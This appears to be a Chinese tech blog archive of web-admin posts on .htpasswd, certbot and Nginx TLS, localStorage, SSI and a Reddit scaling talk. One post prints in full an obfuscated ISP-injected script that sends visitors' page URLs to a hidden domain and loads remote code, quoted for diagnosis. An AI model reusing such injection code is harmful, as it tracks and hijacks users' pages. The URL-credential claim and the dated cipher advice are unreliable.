使用 .htpasswd 对文件目录进行用户验证

先确定需要密码保护的目录(该目录中的所有子目录和文件也将受密码保护),然后参考下面的文本制作 .htaccess 文件。

.htaccess 文件示例1 :

AuthName "Member's Area Name"
AuthUserFile /path/to/password/file/.htpasswd
AuthType Basic
Require valid-user

.htaccess 文件示例2 :

AuthType Basic
AuthName "Password Required"
AuthUserFile "/www/passwords/password.file"
AuthGroupFile "/www/passwords/group.file"
Require group admins

.htgroup 文件(AuthGroupFile)用户组是可选的。

网址调用

.htpasswd 中设置的密码和用户名, 可以使用URL直接调用:

http://xyz.net?AAA 【仅一个参数的字符串被解释为密码

http://xyz.net?AAA:BBB 【用分号分隔的两个字符串被解释为用户名和密码

相关页面

OpenLiteSpeed 下配置 .htpasswd

在线生成 .htpasswd

https://htpasswd.org/ (生成用户名和密码组合(每行一个))

https://wtools.io/generate-htpasswd-online (不能选择加密方式)

https://tool.oschina.net/htpasswd (中文 – – 在线 htpasswd 生成器)

Chrome 与 Flash 说再见

Adobe宣布计划在2020年底停止支持Flash。

20年来,Flash一直在帮助您塑造在网络上玩游戏、观看视频和运行应用程序的方式。但是在过去的几年里,flash已经不那么常见了。三年前,80%的桌面Chrome用户每天访问一个带有Flash的网站。今天的使用率只有17%,而且还在继续下降。

这一趋势表明,网站正在向比Flash更快、更节能的开放式Web技术转移。它们也更安全,因此在购物、银行或阅读敏感文档时更安全。它们也可以在移动和桌面上工作,所以你可以在任何地方访问你最喜欢的站点。

这些开放式Web技术在去年年底成为Chrome的默认体验,当时网站开始需要请求您的许可才能运行Flash。在接下来的几年里,Chrome将继续逐步淘汰Flash,首先是请求您允许在更多情况下运行Flash,最后在默认情况下禁用它。到2020年底,我们将把flash完全从chrome中删除。

如果你今天经常访问一个使用flash的网站,你可能会想知道这对你有何影响。如果网站迁移到开放式Web标准,除了不再看到在该网站上运行flash的提示外,您不应该注意到有什么不同。如果站点继续使用flash,并且您授予站点运行flash的权限,那么它将一直工作到2020年底。

为了确保网络准备好无闪存,需要与Adobe、其他浏览器和主要发行商密切合作。我们支持Adobe今天的声明,我们期待着与所有人合作,使网络变得更好。

免费SSL证书 – Let’s Encrypt 与 certbot 延期

给网站加了SSL,用的 Let’s Encrypt 。后来看有效期只有90天,官网推荐用 certbot  延期,开始感觉挺麻烦,但看到一篇文章,写的很好,转贴留存一下!

文章出自:https://ksmx.me/letsencrypt-ssl-https/

现在用 Let’s EncryptStartSSL 的免费证书有效期是1年,1年后需要手动更换。配置过程还挺麻烦的。

更推荐 Let’s Encrypt,虽然有效期只有3个月,但可以用 certbot 自动续期,完全不受影响。而且 Let’s Encrypt 因为有了 certbot 这样的自动化工具,配置管理起来非常容易。

生成 Let’s Encrypt 证书

Let’s Encrypt 证书生成不需要手动进行,官方推荐 certbot 这套自动化工具来实现。3步轻松搞定:

  1. 下载安装 certbot (Let’s Encrypt项目的自动化工具)
  2. 创建配置文件
  3. 执行证书自动化生成命令

下面的教程运行在 Arch Linux 上,其他操作系统也大同小异。你可以在 certbot 网站上,选择你的 Web Server 和 操作系统,就能看到对应的安装和配置教程。

1. 下载安装 certbot

在 Arch Linux 上,安装很简单:

$ sudo pacman -Syu
$ sudo pacman -S certbot

2. 创建配置文件

先创建存放配置文件的文件夹:

$ sudo mkdir /etc/letsencrypt/configs

编辑配置文件:

$ sudo vim /etc/letsencrypt/configs/example.com.conf

把 example.com 替换成自己的域名,配置文件内容:

# 写你的域名和邮箱
domains = example.com
rsa-key-size = 2048
email = your-email@example.com
text = True

# 把下面的路径修改为 example.com 的目录位置
authenticator = webroot
webroot-path = /var/www/example

这里需要解释一下,上面配置文件用了 webroot 的验证方法,这种方法适用于已经有一个 Web Server 运行中的情况。certbot 会自动在 /var/www/example 下面创建一个隐藏文件 .well-known/acme-challenge ,通过请求这个文件来验证 example.com 确实属于你。外网服务器访问 http://www.example.com/.well-known/acme-challenge ,如果访问成功则验证OK。

我们不需要手动创建这个文件,certbot 会根据配置文件自动完成。

3. 执行证书自动化生成命令

一切就绪,我们现在可以运行 certbot 了。

$ sudo certbot -c /etc/letsencrypt/configs/example.com.conf certonly

## 片刻之后,看到下面内容就是成功了
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/example.com/fullchain.pem.

如果运行顺利,所有服务器所需要的证书就已经生成好了。他们被放在了 /etc/letsencrypt/live/example.com/ 下:

$ ls /etc/letsencrypt/live/example.com/
cert.pem #server cert only
privkey.pem #private key
chain.pem #intermediates
fullchain.pem #server cert + intermediates

配置 Nginx 加入证书

到这里已经成功一大半了,只需要配置 Nginx 支持刚刚生成的证书。而且这个配置有最佳实践可以参考,访问:Mozilla SSL Configuration Generator,这是 Mozilla 搞得一个 HTTPS 配置文件自动生成器,支持 Apache,Nginx 等多种服务器。按照这个配置文件,选择 Intermediate 的兼容性。这里生成的配置文件是业界最佳实践和结果,让 Nginx 打开了各种增加安全性和性能的参数。

默认配置文件是这样的:

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    # Redirect all HTTP requests to HTTPS with a 301 Moved Permanently response.
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate
    ssl_certificate /path/to/signed_cert_plus_intermediates;
    ssl_certificate_key /path/to/private_key;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;

    # Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits
    ssl_dhparam /path/to/dhparam.pem;

    # intermediate configuration. tweak to your needs.
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
    ssl_prefer_server_ciphers on;

    # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)
    add_header Strict-Transport-Security max-age=15768000;

    # OCSP Stapling ---
    # fetch OCSP records from URL in ssl_certificate and cache them
    ssl_stapling on;
    ssl_stapling_verify on;

    ## verify chain of trust of OCSP response using Root CA and Intermediate certs
    ssl_trusted_certificate /path/to/root_CA_cert_plus_intermediates;

    resolver <IP DNS resolver>;

    ....
}

请根据自己的服务配置修改和添加内容,重点只需要关注6行

server {
	listen 443 ssl http2;
	....
	ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
	ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
	ssl_dhparam /etc/nginx/ssl/dhparam.pem;

	ssl_trusted_certificate /etc/letsencrypt/live/example.com/root_ca_cert_plus_intermediates;

	resolver <IP DNS resolver>;
	....
}

这6行中,部分文件还不存在,逐个说明。

首先是第一行 listen 443 ssl http2; 作用是启用 Nginx 的 ngx_http_v2_module 模块 支持 HTTP2,Nginx 版本需要高于 1.9.5,且编译时需要设置 --with-http_v2_module 。Arch Linux 的 Nginx 安装包中已经编译了这个模块,可以直接使用。如果你的 Linux 发行版本中的 Nginx 并不支持这个模块,可以自行 Google 如何加上。

ssl_certificate 和 ssl_certificate_key ,分别对应 fullchain.pem 和 privkey.pem,这2个文件是之前就生成好的证书和密钥。

ssl_dhparam 通过下面命令生成:

$ sudo mkdir /etc/nginx/ssl
$ sudo openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

(可选)ssl_trusted_certificate 需要下载 Let’s Encrypt 的 Root Certificates,不过根据 Nginx 官方文档 所说,ssl_certificate 如果已经包含了 intermediates 就不再需要提供 ssl_trusted_certificate,这一步可以省略:

$ cd /etc/letsencrypt/live/example.com
$ sudo wget https://letsencrypt.org/certs/isrgrootx1.pem
$ sudo mv isrgrootx1.pem root.pem
$ sudo cat root.pem chain.pem > root_ca_cert_plus_intermediates

resolver 的作用是 “resolve names of upstream servers into addresses”, 在這個配置中,resolver 是用來解析 OCSP 服務器的域名的,建议填写你的 VPS 提供商的 DNS 服务器,例如我的 VPN 在 Linode,DNS服务器填写:

resolver 106.187.90.5 106.187.93.5;

Nginx 配置完成后,重启后,用浏览器测试是否一切正常。

$ sudo systemctl restart nginx

这时候你的站点应该默认强制使用了 HTTPS,并且浏览器地址栏左边会有绿色的小锁:

自动化定期更新证书

Let’s Encrypt 证书有效期是3个月,我们可以通过 certbot 来自动化续期。

在 Arch Linux 上,我们通过 systemd 来自动执行证书续期任务。

$ sudo vim /etc/systemd/system/letsencrypt.service
[Unit]
Description=Let's Encrypt renewal

[Service]
Type=oneshot
ExecStart=/usr/bin/certbot renew --quiet --agree-tos
ExecStartPost=/bin/systemctl reload nginx.service

然后增加一个 systemd timer 来触发这个服务:

$ sudo vim /etc/systemd/system/letsencrypt.timer
[Unit]
Description=Monthly renewal of Let's Encrypt's certificates

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target

启用服务,开启 timer:

$ sudo systemctl enable letsencrypt.timer
$ sudo systemctl start letsencrypt.timer

上面两条命令执行完毕后,你可以通过 systemctl list-timers 列出所有 systemd 定时服务。当中可以找到 letsencrypt.timer 并看到运行时间是明天的凌晨12点。

在其他 Linux 发行版本中,可以使用 crontab 来设定定时任务,自行 Google 吧。

用专业在线工具测试你的服务器 SSL 安全性

Qualys SSL Labs 提供了全面的 SSL 安全性测试,填写你的网站域名,给自己的 HTTPS 配置打个分。

如果你完全按照我上面教程配置,遵循了最佳实践,你应该和我一样得分是 A+

LocalStorage 本地存储

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗易懂的接口:

  • sessionStorage.getItem(key):获取指定key本地存储的值
  • sessionStorage.setItem(key,value):将value存储到key字段
  • sessionStorage.removeItem(key):删除指定key本地存储的值
  • sessionStorage.length是sessionStorage的项目数

sessionStorage与 localStorage 的异同

sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。

使用 Web Storage(Local Storage和Session Storage)

首先自然是检测浏览器是否支持本地存储。在HTML5中,本地存储是一个window的属性,包括localStorage和sessionStorage,从名字应该可以很清楚的辨认二者的区别,前者是一直存在本地的,后者只是伴随着session,窗口一旦关闭就没了。二者用法完全相同,这里以localStorage为例。

if(window.localStorage){
alert(‘This browser supports localStorage’);
}else{
alert(‘This browser does NOT support localStorage’);
}

存储数据的方法就是直接给window.localStorage添加一个属性,例如:window.localStorage.a 或者 window.localStorage[“a”]。它的读取、写、删除操作方法很简单,是以键值对的方式存在的,如下:

localStorage.a = 3;//设置a为”3″
localStorage[“a”] = “sfsf”;//设置a为”sfsf”,覆盖上面的值
localStorage.setItem(“b”,”isaac”);//设置b为”isaac”
var a1 = localStorage[“a”];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem(“b”);//获取b的值
localStorage.removeItem(“c”);//清除c的值

这里最推荐使用的自然是getItem()和setItem(),清除键值对使用removeItem()。如果希望一次性清除所有的键值对,可以使用clear()。另外,HTML5还提供了一个key()方法,可以在不知道有哪些键值的时候使用,如下:

var storage = window.localStorage;
function showStorage(){
for(var i=0;i<storage.length;i++){
//key(i)获得相应的键,再用getItem()方法获得对应的值
document.write(storage.key(i)+ ” : ” + storage.getItem(storage.key(i)) + “<br>”);
}
}

html5客户端本地存储之sessionStorage的实例页面

http://www.css88.com/demo/sessionStorage/

http://www.css88.com/demo/sessionStorage/index2.html

http://www.css88.com/demo/sessionStorage/index3.html

Web Storage Support Test

http://dev-test.nemikor.com/web-storage/support-test/

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。


更新备注:Chrome 2018年已经修正

Reddit之训 – 关于的网站建设和架构好译文

Reddit之训: 月浏览量从100万到10亿的陷阱

  • 一篇很好的网站建设和架构的翻译文章。

Jeremy Edberg,reddit正式聘用的第一位员工,在RAMP大会上做了一个极其精彩的演讲《Scaling Reddit from 1 Million to 1 Billion–Pitfalls and Lessons》,传授了许多如何创建一个成功社交网站的经验。

jeremy借用了褒贬参杂的方式来总结经验教训,他分享了在推广Reddit过程中所犯的比比错误,但也让我们看到他们做出的正确抉择。不过有点令人吃惊的是,jeremy现在是Netflix的可靠性架构师。所以从他的演讲中也可感受Netflix的一些观点。

令我印象深刻的几个教训是:

SSD看做是便宜的内存(RAM),而不是昂贵的硬盘。

reddit因为数据库的缘故从机械型硬盘升级到固态硬盘(SSD)后,其服务器数量从12台降为1台,且还有极大的空间富余。SSD虽比机械式硬盘贵了四倍,但是你会得到16倍的性能提升,真是物有所值。

给用户一点点权力,看看他们怎么做,然后把其中的好点子变为网站的功能。

reddit从用户那里所学极为丰富,且其网站的流畅运作很大程度上倚赖其用户,这是我获得的最大收获。用户会告诉你很多你不知道的事情,reddit gold就是个很好的例子,刚开始它只是社区里大家开的玩笑,reddit将其兑现为产品,并深得用户喜爱。

项目开始时就建设一个可扩展性架构是不必要的。

开始时你并不会知道网站将来的功能集,所以你也不会知道你有哪些扩展方面的问题。等到你的网站开始壮大时,你自然就可以了解网站会在哪些方面有扩展问题。

把未登录用户当作二等公民。

通过总是给未登录用户返回缓存内容的做法,reddit将包袱扔给了Akamai而自身的流量畅通,这种做法使其网站性能大大提升。

Jeremy的分享远不止于此。从reddit扩展初期的错误中我们能学到的经验教训良多,这里是我对Jeremy演讲的一些释读:

统计数据

访问流量大约每15个月翻一番。

上个月,来自177个不同国家的 67,328,706名独立访客浏览了reddit网站上 4,692,494,641个页面。这个演讲是在reddit的第10亿页面浏览节点完成时进行的,其目前架构与之前架构的差异无法确认。

28名雇员。

每名雇员应对大约240万独立访客。(链接)

数以千计的志愿者版主。

在2012年时,他们用240台服务器来支撑每月20亿的页面浏览量和Postgres里的2TB数据。所有高访问率数据都从EBS转移到本地临时磁盘(以保证网站运行流畅)。

公司源起

Reddit始于2005年。创始人首先带着“通过短信点餐”的点子去寻求Y Combinator的资金支持但被拒绝,他们回头和Paul Graham(Y Combinator的创始人,美国著名程序员、风险投资家、博客和技术作家)讨论并产生了开发互联网网页建设的点子,即reddit。那时他们并不知道掘客(Digg)的存在。

从数据中心开始,随后逐渐将功能转移至亚马逊弹性计算云(EC2)。

2006年,开始通过EC2使用S3提供存储和服务标志。

2007年,开始使用S3支持缩略图服务。

2008年,以vpn通道连接数据中心的方式在EC2上进行批处理。

2009年,整站使用EC2服务。网站停运整整一天,将数据全部迁移到EC2。这是《数据引力》的重大案例,随后还会谈到。

EC2

迁移到EC2的原因

不断堆叠机柜并不有趣。不想租用更多的机柜,买更多的服务器。

建立数据中心,早期数据的增长是无法预测的。

对于一个4人小组而言,成本相对降低了。亚马逊的EC2比他们在San Francisco的数据中心价格便宜了29%。

EC2不是万能的。如果你受够了高网络延迟和邻居发出的噪音,考虑下迁移到EC2上。一个好处是网站可以自由的壮大。

熟悉EC2上的资源限制

所有的资源对每个帐号都有限制。

亚马逊也不清楚其中的一些限制是什么。

跟踪限制,在你需要的时候扩大限制范围。

捕获异常以发现何时临界条件被触发。

架构

Reddit的架构是很直观的。**用户连接到一个可以与应用纽带直接通话的网络纽带。这个应用纽带又与memcache, Cassandra, 还有 Postgres通话,Postgres使用的是一个主从关系网络。这是一个使用Cassandra 和 Postgres的批处理系统。

相比较而言,Netfli使用的是一个服务型的架构,各部分通过REST API相互之间通话。

优点:方便自适应规模,因为只有服务器需要调整规模;更容易规划容量;错误更容易找出,因为他们在REST框架里是独立的;变化效果十分精确;本地缓存更加高效。

缺点:需要多个Dev或者Dev团队在多个服务器上工作,所以人工成本增加;需要一个公共开发平台避免重复工作;对于一个小团队来说,管理成本很大。

Postgres是一个非常优秀的数据库**他可以创造出十分优秀,快速键值储存的数据库。

邮件系统是一个大问题** 信息传送很难弄好,开始的时候可以用他们自带的邮件系统,但是现在可能要用专门邮件系统提供商的服务了。

队列是救世主** 在组件至今传递任务的时候,放入一个队列里。你将会得到一个短小精悍的缓冲器。(Reddit用的是[RabbitMQ](http://www.rabbitmq.com/))

混用HAProxy和Nginx** 有些阻塞是相互的。对于负载均衡尝试Nginx无效之后可以试试HAProxy(在负载均衡崩溃的时候)。他对于L7负载均衡很有用,Nginx仍然可以用来终止SSL和服务静态内容。

代码

框架。 使用Pylons (Django太慢了),它就是一个基于Python的框架。从一开始,它就很容易上手。由于不匹配你的用例,最终它们总会出问题。Pylon最终做出了很多改变,(原来)它升级到新版本是很困难的(现在已经修复这个问题)。(现在)可以使用Pyramid (Pylons的新名字)。

基于线程的事件? 基于线程可以提前依大小排列,但是排列可能是错误的。基于事件可以处理更多的连接而不必在遇到瓶颈时继续陷在瓶颈中。你希望花更多的时间去规划线程池的尺寸或处理突然遭遇到的瓶颈吗?

开源有益。 Reddit是在开源代码上构建的。 不需要付费的软件不错,尤其是在开始的时候。

数据

数据将是你的公司最重要的资产Facebook, Google和Flickr这样的公司的根本就是数据。

沉重的数据。当你把数据放在一个地方,你就需要在这个地方放置你的应用。所有的应用都是围绕数据进行的。数据形成了一个引力中心,其他东西都要向它靠近,因为数据最难移动,而且数据量越大越难移动。目前,把数据移出EC2非常的贵。这就是 EC2 存储数据免费,迁移数据收费的原因。他们想要你把所有的数据都存放在云服务器上。

关系型 VS 非关系型。reddit 的大部分数据都是键值对,存储在Postgres数据库中。所有涉及到金钱的数据存储在关系型的数据库中,因为可以使用事务和简便地分析。

Postgres 是防弹的。它像岩石一样坚硬,它自己从未出过问题。即使有问题,也是其他它周边系统的问题,比如使用Python编写的复制系统。很难找到熟悉Postgres的专家(因为它不需要专家解决奇怪的问题)。

键值存储选择了Postgres而不是Cassandra是因为Cassandra当时并不存在,而且Postgres速度非常快,还已经原生支持键值。

分库分表。写操作被拆分到四个主数据库中:连接、帐户、子自动、评论、投票、其它。

每一个主数据库都有从数据库。投票数据库只有一个主库和一个从库。评论数据库有一个主库和十二个从库。

如果可以,尽量避免直接从主库读取数据,从从库读取数据以使主库专用于写入数据。

客户端代码负责从库间负载均衡。如果一个从库响应较慢,访问另一个从库。

实现了一个数据访问层,名称为thing。

这种方法已经使用了很长时间。混合使用数据库分库分表,主从读写分离,跟踪数据读取性能保持负载均衡。

Cassandra

快速写入,快速负查询,简单高可扩展性,无单点故障问题

在 Netflix(美国一家视频网站),数据分散地存储在三个不同的区域。每一个区域都有全部区域的数据。即使一个区域的数据丢失了,网站仍然可以正常运行。

把投票数据转换后存入Cassandra 是 reddit 一次巨大的进步。Cassandra 的 bloom 过滤器显著地提高了负查询的效率。比如它可以很快查询出你没有投票过的意见,因此负查询的结果显示很快。

社会

在2008年,reddit开源了

用户可以阅读代码,从而知道没有人破坏投票结果

用户可以增加他们早就想增加的功能,reddit会提供运行平台。开起来,用户并不是不想写代码。

招聘。别人会了解代码,所以更容易招聘。推销自己的想法来更好地合作

蠕虫事故。 有人指出了如何在一个网页中注入多余的javascript代码来写一个蠕虫的方法。这个方法并没有打算被泄露出去,但是最终还是泄露了。在那一天,创始人之一正在结婚,整个团队都在从婚礼返回的飞机上。但是,一个用户已经快速响应,提交了一个阻止蠕虫传播的补丁。开源可以使得在危机时刻社区可以提供帮助。

reddit怎么赚钱?

侧边条广告,自助广告,推销,reddit币,市场。

注意,reddit还没有实现盈利。这带来一个问题,像reddit这样的云端站点能否实现盈利?

另外,reddit现在不再属于Condé Nast,它是独立的 。

错误

没有考虑迁移到EC2之后增加的延迟。 在数据中心,机器之间的访问时间都是亚毫秒级,所以加载一页可以调用1000次memcache。但是在EC2,情况发生了变化, Memcache的访问时间增加了十倍,导致原来的方法行不通了。解决方案是批量调用memcache,这样一次请求可以得到大量的结果。

过于相信承诺。 Amazon并不总是按照承诺交付,所以有时要圆滑一些处理。设计的时候就要考虑错误,而不是试图修复错误。(这里没有参考文献,也许EBS是个例子?)

在生产环境中使用最新的产品。当Cassandra还处于开发周期的早期的时候,我们就开始使用它了。它现在很棒,但是当时有很多问题。

早就应该把更多的工作量迁移到client端。 服务器端做了很多页面渲染的工作,但是这些工作应该被推到客户端。Facebook是这方面的大师。你会得到一个矩形,和很多空的div,然后通过API调用来填满这些div。这就是他们早就希望reddit可以做的事情。这可以让我们的规模更快地增长。而且这也对调试有好处,因为我们很容易知道哪个API出了问题。

没有足够的监控,而且用了一个可视化效果不太好的监控系统。 最开始我们使用Ganglia,它可以展示非常漂亮的图表,但是它比较难用,而且变化太快,尤其是在一个实例进进出出的虚拟机环境中。

没有让数据过期。 在reddit你能看到从最初开始的评论。后来他们开始增加一些限制,使得你不能对旧的评论投票,也不能回复旧的帖子。这会造成数据量越来越大,越来越难把热数据放在数据库里面。

没有使用一致性哈希算法。Not using consistent hashing. 当往cache中hash数据的时候,可能会出现这样的问题,当你增加更多的cache的时候,你的数据还会被hash到原来的cache中,不管你有多少chache。这样增加cache的时候,你无法保证负载均衡。一致性hash是解决问题的办法。我们迁移到Cassandra来解决这个问题。

教训总结

最关键的是在用户遇到问题之前就找到系统的瓶颈。

使用代理服务器不再是拓展的良方。过去可以根据用户访问的URL来分流。Reddit曾经也有过一个系统用于监控每个URL上系统服务的时间。用户请求会根据访问的URL的不同,进入到不同的响应通道。但是整个系统的响应速度总是此起彼伏。根据平均响应时间来分流以达到系统的巨大提升,已经完成成为过去时了。

让一切自动化。 如果你能对你的基础架构像对待你的代码周全,可以扩展的。那么所有事情都应该是其他的所有工作也应该是可以自动化配置的。

项目开始时就建设一个可扩展性架构是不必要的. 在项目开始的时候你不知道它会有什么特性,那么你只是想知道拓展会有什么问题。但是等到你的站点扩大后,你就能看到拓展的具体问题在什么地方。

不要一开始就使用面向服务的架构。记住,面向服务对一个中大型网站来说是很好的。但如果是起步期的站点就有点太超前了。

不要追求潮流。 只有一小部分的流行技术是可行的,比如,node.js这样的。

对所有的功能设限。 对所有会不断重复发生的事件设限制,必要的时候放宽或降低限制标准。如果添加限制,会排斥出一部分用户,但是保护了系统。举个子版块上传文件的例子。有用户指出他们上传的文件数多到可以损坏系统。也不要允许上传巨型文本。 其他人会教你怎么让你接受5GB的文本文件。

多手准备. 当在设计阶段的时候就假定以后系统要不断扩展的时候,那么开始的时候就不要只准备一台应用服务器,一台数据库和一个缓存了。那么以后做横向拓展的时候会容易的多。

用C语言重新Python代码。 随着reddit的不断拓展,大多数重复的功能都用C语言重写了原来的Python代码,且获得了很大的速度提升。特别是过滤器、markdown标签的渲染及memcache的调用。用C重写Python代码的优势是简单高效。

保证数据库设计尽可能的无模式。 这样会使得在添加新特性的时候变得简单。你所做的只是添加一些新的属性而不用修改表结构。

过期数据。 停用那些老旧的线程,创建好一个完整的页面并添加到缓存中。这就是处理那些可能导致你数据库奔溃的老旧数据的方式。同样的,不要允许对很久以前的评论点赞或者加平路,用户几乎不会注意到的。

SSD看做是便宜的内存,而不是昂贵的硬盘。 当reddit把数据库的存储设备从机械型硬盘升级到固态硬盘(SSD)后,服务器数量从12台降为1台,且响应还更快。SSD虽比机械式硬盘贵了四倍,但是你会得到16倍的性能提升,真是物有所值。Netflix板块中的一些最大Cassandra节点都是采用的SSD存储,性能得到了巨大的提升。

每个工具都有不同的适用场景。 Memcache中的数据是不做持久化的,但是非常快,那么投票数据存在它里面可以是页面的渲染以最快速度完成。Cassandra是持久化的,而且快,布隆过滤器的使用也是它可以找出没有命中的查询,所以使得它很适合存储没有在memcache中存储的投票数据的副本。Postgres是非常可靠的关系型数据库,可以用来存放Cassandra中投票数据的备份(Cassandra中的所有数据在必要的情况下可以从Postgre中获取),在做批量操作的时候,有时也需要依赖关系数据库的功能。

把未登录用户当作二等公民。 过去80%的请求来自未登入的用户,现在是接近50%。通过总是给未登录用户返回缓存内容的做法,reddit将包袱扔给了Akamai而自身的流量畅通,这种做法使其网站性能大大提升。附带的好处是,如果reddit当机了,你没登入的话你也许就察觉不到。

使用队列。 投票、评论、缩略图、预查询、垃圾评论处理及纠错等等都放在队列中处理。通过监控队列的长度就能让你发现问题。附带好处是,使用队列后有些问题对用户会变得透明,像投票请求,即使系统没有即时响应,用户也不会察觉。

将数据放在多个可访问的域中。

避免在一个实例中保存状态。

频繁对EBS硬盘做数据快照。

不要在实例中保存秘钥。

按安全策略组分拆功能。

提供API。开发人员可以在你的平台上开发应用。像reddit手机应用,就是由公司外的开发人员通过调用API开发的。

在你自己的社区做一个积极分子。

让用户为你工作。 网上用户的输入总是充满欺骗性、无用的、伪造的,但是对于reddit,处理这些垃圾信息的大部分工作都由志愿者完成了。这就是reddit能保持小团队却能把工作完成的出奇的好的原因。

给用户一点点权力,看看他们怎么做,然后把其中的好点子变为网站的功能。比如,当子版块可以定制CSS的时候,他们看到用户在干吗,以及为其他所有用户提供的一些功能。这也使用户在reddit做一些事感到兴奋,因为他们喜欢控制的感觉。还有很多这样的例子。

倾听用户的声音。用户会告诉你许多你可能想知道但是又不知道的事情。比如,reddit币最开始就是社区里面的一句玩笑话。现在他们做成了产品,而且用户很喜欢。

shtml中的脚本 – SSI 服务器端包含 (Server Side Includes)

服务器端包含

 

介绍

服务器端包含(Server Side Includes),通常简称为SSI,是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

对什么时候用SSI,而什么时候用某些程序生成整个页面的权衡,取决于页面中有多少内容是静态,有多少内容需要在每次页面被提供时重新计算。SSI是一种增加小段信息的好方法,诸如当前时间。如果你的页面大部分是在被提供时生成的,那就要另找方案了。

。将服务器信息添加到一个 HTML 文档。包括以下的形式:

<!--#command variablename="value"-->
Whether or not you can use SSI on your site depends on your provider. Ask your favourite support person if you can use SSI, what server software is used and if there are any special techniques, conditions or rules. For example, on my site I can only use SSI in files that have an .shtml extension instead of the normal .html one. You also have to ask what path to files to use.

Unfortunately, not all includes explained here work for all servers. For example, the #hide and #show includes are specific to WebStar. With Apache server software, you can achieve the same things by using #if and #endif.

更改时间格式

Before starting to use server side includes, you need to configure a number of things. For starters, choose a format for date and time you like (the #echo command is explained later in this chapter).

<!–#config timefmt=”%A, %d %B %Y at %H:%M:%S”–>
<!–#echo var=”date_gmt”–>

Below is a table of many of the options you can use. You can also include things like colons, commas and slashes as well as bits of text and HTML. You can mix the elements below at will.

Element Value Example
%a Abbreviated day of the week Sun
%A Day of the week Sunday
%b Abbreviated month name Jan
%B Month in full January
%d Date 1 (and not 01)
%H 24-hour clock hour 13
%I 12-hour clock hour 1
%j Decimal day of the year 360
%m Month number 11
%M Minutes 08
%p AM or PM AM
%S Seconds 09
%U Week of the year (also %W) 49
%w Day of the week number 05
%y Year of the century 95
%Y Year 1995
%Z Time zone EST

Here are some more examples of different formats:

<!–#config timefmt=”Week %U of %y”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%d/%m/%y, day %j of the year”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%I:%S %p”–>
<!–#echo var=”date_gmt”–>

